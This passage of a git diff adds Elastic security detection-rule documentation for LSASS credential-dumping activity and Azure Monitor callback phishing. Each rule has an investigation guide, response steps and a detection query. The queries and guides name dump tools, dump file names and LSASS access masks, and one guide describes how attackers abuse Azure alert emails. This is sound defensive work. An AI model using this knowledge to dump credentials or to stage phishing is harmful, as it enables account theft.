hosts, Office, browsers, remote-admin tooling, or an unexpected user launch the writer; lower suspicion only when lineage and `user.id` match the same recognized support, vendor, or forensic collection workflow. + +- Did the same writer hide, move, archive, or copy the dump after creation? + - Focus: same-writer file events for `host.id` and `process.entity_id`, especially `file.path`, `file.Ext.original.path`, `file.name`, and `file.size`. !{investigate{"description":"","label":"File events by dump writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the dump is renamed, compressed, copied to a share, moved into hidden or user-controlled paths, or removed after staging; unresolved when same-writer file telemetry does not explain the dump's handling. + - Hint: use `file.Ext.original.path` on rename events to connect a detected dump name to a later archive, deceptive extension, or alternate staging path. + +- Did child processes use or clean up the dump? + - Focus: child process events on `host.id` where `process.parent.entity_id` equals the writer `process.entity_id`, with `process.executable`, `process.command_line`, and `@timestamp`. !{investigate{"description":"","label":"Child processes by dump writer","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when archivers, copy tools, PowerShell, "rundll32.exe", dump parsers such as Mimikatz, or deletion commands follow the dump write; no child follow-on only narrows this path and does not rule out in-process or remote retrieval. + +- Does the host or session make the exposed credential material high impact? + - Focus: `host.id`, `host.name`, `user.domain`, `user.id`, and `process.Ext.session_info.logon_type`; asset or host-role context when available. + - Implication: raise urgency when the dump is on a server, jump host, domain controller, privileged admin workstation, or from an unexpected administrative session; a lab or diagnostics host lowers urgency only after artifact, writer, lineage, and handling evidence fit one recognized workflow. + +- If local evidence is suspicious or unresolved, do related alerts change scope? + - Focus: related credential-access, staging, privilege, or lateral-movement alerts for `user.id`. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for `host.id` separately to determine whether activity is isolated to this host or part of broader compromise. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when the same user or host has related credential-access or post-compromise alerts; keep scope local when related alerts are quiet, but do not use quiet scoping to close unresolved dump evidence. + +- Escalate when artifact, writer, lineage, staging, child-process, host-role, or related-alert evidence shows deliberate LSASS collection or broader compromise; close only when those categories bind to one recognized troubleshooting, vendor support, or IR workflow for this host; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Recognized crash analysis, vendor support, Task Manager troubleshooting, SQL Server diagnostics outside filtered paths, or IR/forensic acquisition can legitimately create LSASS dumps. Confirm by aligning identity (`process.executable`, `process.code_signature.subject_name`, `process.pe.original_file_name`), artifact (`file.path`, `file.name`, `file.size`, rename history), lineage (`process.parent.executable`, `process.parent.command_line`), actor (`user.id`, `user.domain`), and host (`host.id`, role) to the same exact workflow. If any dimension contradicts the workflow or telemetry cannot explain why LSASS was dumped, do not close on owner or change-record claims alone. +- If workflow records or owner confirmation are unavailable, require telemetry-only stability for the same workflow pattern on the same `host.id` and `user.id` across prior alerts before considering closure; a first-time or one-off LSASS dump remains suspicious unless artifact, writer, lineage, and handling evidence are clean. +- Build exceptions from the minimum confirmed pattern: `process.executable`, `process.code_signature.subject_name`, `process.pe.original_file_name`, parent workflow, `file.path` pattern, `user.id`, and `host.id`. Avoid exceptions on `file.name`, `process.name`, LSASS naming, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the dump path, writer identity, signer, parent workflow, user, host role, and confirming workflow evidence. Create an exception only when the same workflow recurs consistently for the same scope. +- If suspicious but unconfirmed, preserve the dump or case-safe copy, `file.path`, rename/archive paths, writer `process.entity_id`, `process.command_line`, parent chain, child-process records, `user.id`, and `host.id` before containment or cleanup. Apply reversible containment first, such as restricting outbound administrative access or suspending the writer when operationally safe. Escalate to host isolation or account containment only when staging, transfer, parsing, or related-alert evidence shows likely credential theft. +- If confirmed malicious, isolate the host when host role permits, or escalate with the preserved artifact set to the team that can contain it. Record artifacts before terminating processes or deleting dumps, archives, or tools. +- Treat confirmed LSASS dump exposure on servers, jump hosts, domain controllers, or privileged administration assets as credential compromise risk. Scope which local, cached, service, or administrative credentials may have been present and begin credential hygiene for implicated accounts and systems. +- Eradicate unauthorized dump utilities, scripts, archives, copied dumps, and persistence mechanisms found during the investigation, then remediate the privilege path or initial access route that allowed dump creation. +- After containment, hunt for the same writer paths, dump-file naming patterns, "rundll32.exe" Dumpert launch chains, and archive or copy commands across other hosts. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.action != "deletion" and + file.name : ("lsass*.dmp", "dumpert.dmp", "Andrew.dmp", "SQLDmpr*.mdmp", "Coredump.dmp") and + + not ( + process.executable : ( + "?:\\Program Files\\Microsoft SQL Server\\*\\Shared\\SqlDumper.exe", + "?:\\Program Files\\Microsoft SQL Server Reporting Services\\SSRS\\ReportServer\\bin\\SqlDumper.exe", + "?:\\Windows\\System32\\dllhost.exe" + ) and + file.path : ( + "?:\\*\\Reporting Services\\Logfiles\\SQLDmpr*.mdmp", + "?:\\Program Files\\Microsoft SQL Server Reporting Services\\SSRS\\Logfiles\\SQLDmpr*.mdmp", + "?:\\Program Files\\Microsoft SQL Server\\*\\Shared\\ErrorDumps\\SQLDmpr*.mdmp", + "?:\\Program Files\\Microsoft SQL Server\\*\\MSSQL\\LOG\\SQLDmpr*.mdmp" + ) + ) and + + not ( + process.executable : ( + "?:\\Windows\\system32\\WerFault.exe", + "?:\\Windows\\System32\\WerFaultSecure.exe" + ) and + file.path : ( + "?:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\CrashDumps\\lsass.exe.*.dmp", + "?:\\Windows\\System32\\%LOCALAPPDATA%\\CrashDumps\\lsass.exe.*.dmp" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-memory-dump-handle-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-memory-dump-handle-access.asciidoc new file mode 100644 index 0000000000..f6f87ed8ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-memory-dump-handle-access.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-lsass-memory-dump-handle-access]] +=== LSASS Memory Dump Handle Access + +Identifies handle requests for the Local Security Authority Subsystem Service (LSASS) object access with specific access masks that many tools with a capability to dump memory to disk use (0x1fffff, 0x1010, 0x120089). This rule is tool agnostic as it has been validated against a host of various LSASS dump tools such as SharpDump, Procdump, Mimikatz, Comsvcs etc. It detects this behavior at a low level and does not depend on a specific tool or dump file name. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656 +* https://twitter.com/jsecurity101/status/1227987828534956033?s=20 +* https://attack.mitre.org/techniques/T1003/001/ +* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html +* http://findingbad.blogspot.com/2017/ +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows +* Resources: Osquery + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating LSASS Memory Dump Handle Access* + + +Local Security Authority Server Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. + +Adversaries may attempt to access credential material stored in LSASS process memory. After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. This is meant to facilitate single sign-on (SSO) ensuring a user isn’t prompted each time resource access is requested. These credential materials can be harvested by an adversary using administrative user or SYSTEM privileges to conduct lateral movement using https://attack.mitre.org/techniques/T1550/[alternate authentication material]. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- There should be very few or no false positives for this rule. If this activity is expected or noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. +- If the process is related to antivirus or endpoint detection and response solutions, validate that it is installed on the correct path and signed with the company's valid digital signature. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Scope compromised credentials and disable the accounts. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Handle Manipulation must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-handle-manipulation + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"windows" and event.code:"4656" and + ( + winlog.event_data.AccessMask : ("0x1fffff" or "0x1010" or "0x120089" or "0x1F3FFF") or + winlog.event_data.AccessMaskDescription : ("READ_CONTROL" or "Read from process memory") + ) and + winlog.event_data.ObjectType : "Process" and + winlog.event_data.ObjectName : *\\Windows\\System32\\lsass.exe and + not winlog.event_data.ProcessName : ( + "C:\Windows\System32\wbem\WmiPrvSE.exe" or + "C:\Windows\SysWOW64\wbem\WmiPrvSE.exe" or + "C:\Windows\System32\dllhost.exe" or + "C:\Windows\System32\svchost.exe" or + "C:\Windows\System32\msiexec.exe" or + "C:\Windows\explorer.exe" or + "C:\\Windows\\Sysmon64.exe" or + "C:\\Windows\\BTPass\\x64\\BTPassSvc.exe" or + "C:\\Windows\\Sysmon.exe" or + "C:\\Windows\\System32\\RtkAudUService64.exe" or + "C:\\Windows\\System32\\RtkAudUService64.exe" or + C\:\\Windows\\System32\\DriverStore\\FileRepository\\fn.inf_amd64_*\\driver\\tphkload.exe + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-process-access-via-windows-api.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-process-access-via-windows-api.asciidoc new file mode 100644 index 0000000000..336ae29b22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lsass-process-access-via-windows-api.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-lsass-process-access-via-windows-api]] +=== LSASS Process Access via Windows API + +Identifies access attempts to the LSASS handle, which may indicate an attempt to dump credentials from LSASS memory. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows +* Resources: Osquery + +*Version*: 21 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating LSASS Process Access via Windows API* + + +The Local Security Authority Subsystem Service (LSASS) is a critical Windows component responsible for managing user authentication and security policies. Adversaries may attempt to access the LSASS handle to dump credentials from its memory, which can be used for lateral movement and privilege escalation. + +This rule identifies attempts to access LSASS by monitoring for specific API calls (OpenProcess, OpenThread) targeting the "lsass.exe" process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) of the process that accessed the LSASS handle. + - Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Determine the first time the process executable was seen in the environment and if this behavior happened in the past. + - Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. + - Investigate any abnormal behavior by the subject process, such as network connections, DLLs loaded, registry or file modifications, and any spawned child processes. +- Assess the access rights (`process.Ext.api.parameters.desired_access`field) requested by the process. This https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights[Microsoft documentation] may be useful to help the interpretation. +- If there are traces of LSASS memory being successfully dumped, investigate potentially compromised accounts. Analysts can do this by searching for login events (e.g., 4624) to the target host. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the executables of the processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of `process.executable`, `process.code_signature.subject_name` and `process.Ext.api.parameters.desired_access_numeric` conditions. + + +*Related Rules* + + +- Suspicious Lsass Process Access - 128468bf-cab1-4637-99ea-fdf3780a4609 +- Potential Credential Access via DuplicateHandle in LSASS - 02a4576a-7480-4284-9327-548a806b5e48 +- LSASS Memory Dump Handle Access - 208dbe77-01ed-4954-8d44-1e5751cb20de + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Reimage the host operating system or restore the compromised files to clean versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.api-*, logs-m365_defender.event-* metadata _id, _version, _index + +| where mv_contains(event.category, "api") and host.os.type == "windows" and + process.Ext.api.name in ("OpenProcess", "OpenThread", "ReadProcessMemory") and + Target.process.name == "lsass.exe" and process.executable is not null and + + // Noisy patterns + not to_lower(process.executable) like """c:\\program files\\*.exe""" and + not to_lower(process.executable) like """c:\\program files (x86)\\*.exe""" and + not to_lower(process.executable) like """c:\\programdata\\microsoft\\windows defender\\platform\\msmpeng.exe""" and + not to_lower(process.executable) like """c:\\programdata\\microsoft\\windows defender\\platform\\*\\msmpeng.exe""" + + /* normalize process paths to reduce known random patterns in process.executable */ +| eval Esql.process_path = replace(process.executable, """([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})""", "") + +// Group by process path +| stats Esql.access_count = count(*), + Esql.count_distinct_hosts = count_distinct(host.id), + Esql.host_id_values = VALUES(host.id), + Esql.host_name_values = VALUES(host.name), + Esql.user_name_values = VALUES(user.name), + Esql.process_pid_values = VALUES(process.entity_id), + Esql.process_executable_values = VALUES(process.executable), + Esql.data_stream_namespace.values = VALUES(data_stream.namespace), + Esql.user_name_values = VALUES(user.name) by Esql.process_path + +// Limit to rare instances limited to 1 unique host +| where Esql.count_distinct_hosts == 1 and Esql.access_count <= 3 + +// Extract the single host ID and process into their corresponding ECS fields for alerts exclusion +| eval host.id = mv_min(Esql.host_id_values), + host.name = mv_min(Esql.host_name_values), + process.executable = mv_min(Esql.process_executable_values), + user.name = mv_min(Esql.user_name_values) + +// Add the new field to the keep statement +| keep Esql.*, host.id, host.name, user.name, process.executable + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc new file mode 100644 index 0000000000..673bf69702 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-m365-azure-monitor-alert-email-with-financial-or-billing-theme]] +=== M365 Azure Monitor Alert Email with Financial or Billing Theme + +Detects Azure Monitor alert notification emails with financial or billing themed subject lines delivered to organization users. Adversaries abuse Azure Monitor alert rules to deliver callback phishing emails from Microsoft's legitimate azure-noreply@microsoft.com address. Because the emails originate from Microsoft's own infrastructure, they pass SPF, DKIM, and DMARC checks, bypassing email security filters and increasing victim trust. The attacker embeds a fraudulent billing or security lure in the alert rule description, which is rendered in the notification email body. Observed subject patterns include invoice numbers, payment references, and order confirmations. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/microsoft-azure-monitor-alerts-abused-in-callback-phishing-campaigns/ + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft Exchange Online Message Trace +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Platform: Microsoft 365 +* Domain: SaaS +* Service: Microsoft Exchange Online +* Data Source: Microsoft Exchange Online Logs + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Azure Monitor Alert Email with Financial or Billing Theme* + + +Azure Monitor alert rules can be abused by adversaries to deliver callback phishing emails from Microsoft's legitimate `azure-noreply@microsoft.com` address. The attacker creates a metric or activity log alert in their own Azure tenant with a phishing lure embedded in the description field, then adds victim email addresses to an action group. When the alert fires, Microsoft sends the notification email — complete with the embedded lure — directly to the victims. + + +*Possible investigation steps* + + +- Review the `email.subject` field to determine if the alert name matches known phishing patterns (e.g., `INV-`, `Payment Reference`, `order-`, `Funds Received`). +- Check the `email.to.address` field to identify which users received the email and whether they are high-value targets. +- Search for additional emails from `azure-noreply@microsoft.com` to the same recipient within a short time window. The attack typically sends both a "Fired" and "Resolved" notification, doubling phishing impressions. +- Look for an earlier "You're now in the X action group" notification email, which arrives before the phishing alert — this confirms the user was added to an external Azure Monitor action group. +- Check email message headers for the originating Azure subscription and resource group, which are embedded in the alert details. +- Contact the recipient to determine if they interacted with the email or called the phone number in the lure. +- If the victim called the number, initiate incident response for potential credential theft, payment fraud, or remote access tool installation. + + +*False positive analysis* + + +- Legitimate Azure Monitor alerts with financial naming (e.g., a cost alert named "Invoice threshold exceeded") may match. Verify the alert originates from a known internal Azure subscription by examining the email body or message headers. +- Internal teams that name alert rules with billing-related terms for cost management should be documented as exceptions. + + +*Response and remediation* + + +- If the email is confirmed as phishing, block the sender pattern and alert name in your email security gateway. +- Quarantine or delete the phishing emails from affected mailboxes. +- If the victim called the phone number, treat as a compromised account: reset credentials, revoke sessions, and audit for unauthorized access. +- Report the Azure subscription ID from the email headers to Microsoft abuse team for takedown. +- Consider implementing a mail flow rule to flag or quarantine Azure Monitor notification emails that contain phone numbers or financial language in the body. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-microsoft_exchange_online_message_trace.* metadata _id, _version, _index + +// Filter for Azure Monitor notification emails with financial/billing themed subjects +| where data_stream.dataset == "microsoft_exchange_online_message_trace.log" + and email.from.address == "azure-noreply@microsoft.com" + and event.outcome in ("success", "unknown") + and email.subject like "*Azure Monitor alert*" + and ( + email.subject like "*INV-*" + or email.subject like "*invoice*" + or email.subject like "*payment*" + or email.subject like "*order-*" + or email.subject like "*purchase*" + or email.subject like "*funds*" + or email.subject like "*receipt*" + or email.subject like "*billing*" + or email.subject like "*transaction*" + or email.subject like "*refund*" + or email.subject like "*charge*" + or email.subject like "*subscription*" + or email.subject like "*renewal*" + or email.subject like "*overdue*" + or email.subject like "*past due*" + or email.subject like "*amount due*" + or email.subject like "*wire transfer*" + or email.subject like "*bank account*" + or email.subject like "*credit card*" + or email.subject like "*financial*" + or email.subject like "*remittance*" + ) + +| keep * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing via Service +** ID: T1566.003 +** Reference URL: https://attack.mitre.org/techniques/T1566/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-anti-phish-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-anti-phish-policy-deleted.asciidoc new file mode 100644 index 0000000000..1e516e45df --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-anti-phish-policy-deleted.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-m365-exchange-anti-phish-policy-deleted]] +=== M365 Exchange Anti-Phish Policy Deleted + +Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishpolicy?view=exchange-ps +* 